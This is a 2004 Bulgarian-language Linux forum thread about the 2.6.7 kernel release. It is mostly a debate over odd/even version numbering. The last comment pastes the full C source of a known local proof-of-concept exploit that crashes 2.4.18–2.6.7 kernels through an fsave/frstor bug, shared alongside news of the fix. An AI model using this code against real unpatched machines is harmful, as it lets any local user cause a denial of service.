Instalirah go za proba. Raboti si.

[Otgovori na tozi komentar]

Kum: Veche go imam :-)
Ot: hazy_fakie
Na: 16-06-2004@21:33 GMT+2
Otsenka: /

heh, tova e stabilna versiia, zashto da ne raboti? :)

[Otgovori na tozi komentar]

---

Kum: Kum: Veche go imam :-)
Ot: suren <surenz__at__mail __tochka__ bg>
Na: 16-06-2004@23:27 GMT+2
Otsenka: /

zashtoto i prednata beshe finalna ama kato restartirah mi spirashe shpindela na harda.tuka sa opravili tozi problem

[Otgovori na tozi komentar]

---

Stabilnite sa chetni Faki!

2.6.6. e stabilno, 2.6.8 shte bude stabilno. 2.6.7 e "hakersko", podobno na vsichki nechetni i v nego se chistiat bugove i se probvat dobavki...

Prav si v edno - na fona na vsichko M$, koito dori ne sa tseli chisla, tova e STABILNO. ;)

[Otgovori na tozi komentar]

siguren li si
Ot: m.a.x.
Na: 17-06-2004@6:10 GMT+2
Otsenka: /

Ne sa li hakerski tezi
2.3.x     2.5.x
A tezi 2.4.x   2.6.x
vinagi si vurviat edno sled drugo 1,2,3...  


[Otgovori na tozi komentar]

---

Kum: he-he stabilna...
Ot: fire
Na: 17-06-2004@6:49 GMT+2
Otsenka: /

Malko se burkash ;)
Eto kak se pravi versiiata:

<1>.<2>.<3>

1. versiia
2. podversiia - chetno = stabilna, nechetno = nesteabilna
3. *modifikatsiia* (pri niakoi po-malki proekti dori se preporuchva da e broiat na promenite)


Taka che za nechetnata versiia, nikoga ne se gleda poslednata tsifra

[Otgovori na tozi komentar]

---

Kum: he-he stabilna...
Ot: .
Na: 17-06-2004@6:54 GMT+2
Otsenka: /

Da prav si, che chetnite sa stabilni- 2.2.h, 2.4.h, 2.6.h, a nechetnite sa hakerski- 2.3.h, 2.5.h. Taka che, 2.6.7 si e stabilna versiia!!!

Ae sus zdrave!

[Otgovori na tozi komentar]

---

Ne e taka: Testovi ("hakerski") versii sa vsichki versii s nechetna tsifra za podversiiata, t.e. 2.1.x, 2.3.x, 2.5.x. Stabilni sa versiite s chetna tsifra za podversiiata ili 2.2.x, 2.4.x, 2.6.x. Ne mislia, che pach versiiata ima znachenie za tova dali versiiata e stabilna ili ne. Po-skoro kolkoto e po-visoka visoka pach versiiata iadroto e po-izpitano i izchisteno ot kum bugove, t.e. oshte po stabilno ot obiaviavaneto na purvata stabilna versiia. Oprovergaite me.

[Otgovori na tozi komentar]

;)
Ot: Chashko <veselinov__at__bol__dot__bg>
Na: 17-06-2004@9:52 GMT+2
Otsenka: /

Kakvo e znachenieto...
Kakto beshe pri 2.6.5 i 2.6.6 nikoi ne znae kolko tochno stabilna shte bude... Taka che testvaite.... i pishete.... az lichno ia namiram za stabilna ;)
Vazhnoto e che e nalitse!!!

[Otgovori na tozi komentar]

---

Kum: Kum: he-he stabilna...
Ot: Aleksandur Panov <a_panov< at >mail< dot >ru>
Na: 21-06-2004@4:53 GMT+2
Otsenka: /

X.Y.Z
X - otraziava "nomera" na iadroto i se promenia na 2 ili 3 godini kogato to samoto pridobie po dobra funktsionalnost

Y - "tekushta versiia na iadroto" chetnite 2, 4 sa stabilni a nechetnite sa nestabilni ili oshte se narichat testovi zashtoto v tiah se vkarvat novite funktsionalnosti i vuzmozhnosti (koito eventualno shte gurmiat)

Z - "tekushta versiia na iadroto" mozhe da se imenuva i s dvutsifreno chislo. Tova i nomera za vsekidnevnoto izdanie na dadeno iadro - 2, 21, 22, 26, 28, 3, 31, 32, 4, 5, 6, 61 i t.n.

[Otgovori na tozi komentar]

---

"" The kernel numbering system aims to help people determine the level of stability in a certain version. Versions r.x.y, where x is an even number, are stable versions; y increments as bug fixes are applied. In other words, from version 2.0.2 to 2.0.3, there were only bug fixes, not new features. When x is an odd number, the version is a beta releases for developers only. These may be unstable and crash, and are having new features added to them all the time. ""

Pri nomeratsiia ot tipa A.B.V. "B" ukazva dali versiiata e stabilna ili hakerska (chetni=stabilni, nechetni=hakerski), a "V" pokazva edinstveno koia podered krupka (pach) e dobaven.

Kakto pisah, ne sum prav i se izviniavam za smeloto i kraino neinformirano izkazvane.

Smit

[Otgovori na tozi komentar]

Ne e li po-vazhno,che 2.6.7 korigira ogromna dupka v sigurnosta svurzana s Floating point exception na 2.4.18 - 2.6.6 iadra, koiato mozhe da bude izpolzvana ot vseki potrebitel i bez root prava s pomoshta na elementarna S-programka ot okolo 25 reda?!?!?!

[Otgovori na tozi komentar]

Kum: Ne e li po-vazhno, che ...
Ot: SMITH
Na: 17-06-2004@14:49 GMT+2
Otsenka: /

Po-vazhno e razbira se. :)

[Otgovori na tozi komentar]

---

Kum: Kum: Ne e li po-vazhno, che ...
Ot: hazy_fakie
Na: 18-06-2004@14:35 GMT+2
Otsenka: /

mi ne e osobeno po-vazhno, zashtoto tazi problem mozhe da bude eksploatiran samo ako imash lokalen dostup to mashinata, t.e., shel.
v povecheto sluchai, ako veche imash lokalen dostup do mashinata shte se opitvash da ia ruutnesh :) vmesto da e zabiesh
puk i poveche problemi, koito se schitat za vazhni ne iziskvat lokalen dostup

[Otgovori na tozi komentar]

---

/* --------------------
  * frstor Local Kernel exploit
  * Crashes any kernel from 2.4.18
  * to 2.6.7 because frstor in assembler
  * inline offsets in memory by 4.
  * Original proof of concept code
  * by stian_@_nixia.no.
  * Added some stuff by lorenzo_@_gnu.org
  * and fixed the fsave line with (*fpubuf).
  * --------------------
  */
 
 /*
 ---------
 Some debugging information made
 available by stian_@_nixia.no
 ---------
 TakeDown:
         pushl   %ebp
         movl    %esp, %ebp
         subl    $136, %esp
         leal    -120(%ebp), %eax
         movl    %eax, -124(%ebp)
 #APP
         fsave -124(%ebp)
 
 #NO_APP
         subl    $4, %esp
         pushl   $1
         pushl   $.LC0
         pushl   $2
         call    write
         addl    $16, %esp
         leal    -120(%ebp), %eax
         movl    %eax, -128(%ebp)
 #APP
         frstor -128(%ebp)
 
 #NO_APP
         leave
         ret
 */
 
 #include <sys/time.h>
 #include <signal.h>
 #include <unistd.h>
 
 static void TakeDown(int ignore)
 {
  char fpubuf[108];
 // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
 __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
  write(2, "*", 1);
  __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
 }
 
 int main(int argc, char *argv[])
 {
  struct itimerval spec;
  signal(SIGALRM, TakeDown);
  spec.it_interval.tv_sec=0;
  spec.it_interval.tv_usec=100;
  spec.it_value.tv_sec=0;
  spec.it_value.tv_usec=100;
  setitimer(ITIMER_REAL, &spec, NULL);
  while(1)
   write(1, ".", 1);
 
  return 0;
 }
 // <<EOF


http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html#toc1


[Otgovori na tozi komentar]